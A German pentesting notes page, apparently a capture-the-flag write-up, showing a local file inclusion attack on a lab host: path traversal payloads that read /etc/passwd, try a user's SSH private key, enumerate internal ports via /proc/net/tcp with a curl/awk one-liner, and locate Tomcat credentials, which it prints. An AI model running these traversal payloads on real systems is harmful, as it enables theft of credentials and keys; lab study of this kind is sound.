> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-lfi/lfi-tomcat-credentials-pentesting-web.md).

# LFI Tomcat-Anmeldedaten

## LFI:

Zugriff auf die verwundbare Datei `new.php` über eine Variable `?file` im Ordner `Anweisung`.

<figure><img src="/files/e1487ddc92c3731b73998489389d73145d8ef59d" alt=""><figcaption></figcaption></figure>

**Test auf lokale Dateieinbindung (LFI)**: `http://megahosting.htb/news.php?file=../../../../etc/passwd`

<figure><img src="/files/8a667ff6015a4e7dc397c2f472873514719a2b14" alt=""><figcaption></figcaption></figure>

* **Ergebnis:** Zugriff auf die Datei `/etc/passwd`, wodurch zwei Benutzer offengelegt werden: `ash` und `root`. **Versuch, auf Ashs privaten SSH-Schlüssel zuzugreifen**: `?file=../../../../../../../home/ash/.ssh/id_rsa`
* **Ergebnis:** Zugriff verweigert.

<figure><img src="/files/359006851dc9288a150c9699478fa548a7a4a309" alt=""><figcaption></figcaption></figure>

**Suche nach internen Ports** über `/proc/net/tcp` um versteckte Dienste zu identifizieren:

<figure><img src="/files/e639f95119e1943d178f9b46fea88f402b1dc020" alt=""><figcaption></figcaption></figure>

**Suche nach internen Ports** über `/proc/net/tcp` um versteckte Dienste zu identifizieren:

```bash
curl -s -X GET "http://megahosting.htb/news.php?file=../../../../../../../proc/net/tcp" |
awk 'NR>1 {
    # Nimm das Feld local_address
    split($2, addr_port, ":");
    # Konvertiere die Adresse in das IP-Format
    hex_addr = addr_port[1];
    ip = sprintf("%d.%d.%d.%d",
                 strtonum("0x" substr(hex_addr, 7, 2)),
                 strtonum("0x" substr(hex_addr, 5, 2)),
                 strtonum("0x" substr(hex_addr, 3, 2)),
                 strtonum("0x" substr(hex_addr, 1, 2)));
    # Konvertiere den Port in Dezimal
    port = strtonum("0x" addr_port[2]);
    # Gib das Ergebnis im IP:Port-Format aus
    printf "%s:%d/n", ip, port;
}'

```

**Ergebnis:** Entdeckung des internen Ports `34650`

<figure><img src="/files/ad52e5d9af5aaaf0808c7cf473b0dd0a137fa191" alt="" width="563"><figcaption></figcaption></figure>

### **Ausnutzung des Virtual Host Manager von Tomcat (Port 8080)**

**Zugriff auf Tomcat** über Port 8080 und Suche nach Authentifizierungsinformationen. Standardmäßig werden diese in `/etc/tomcat9/tomcat-users.xml` oder `usr/share/tomcat9/etc/tomcat-users.xml`

<figure><img src="/files/2077db59c5057495c4b17d99cafe8ac7001f632f" alt=""><figcaption></figcaption></figure>

**Anmeldedaten** gefunden: `Benutzername = tomcat` `Passwort = $3cureP4s5w0rd123!`


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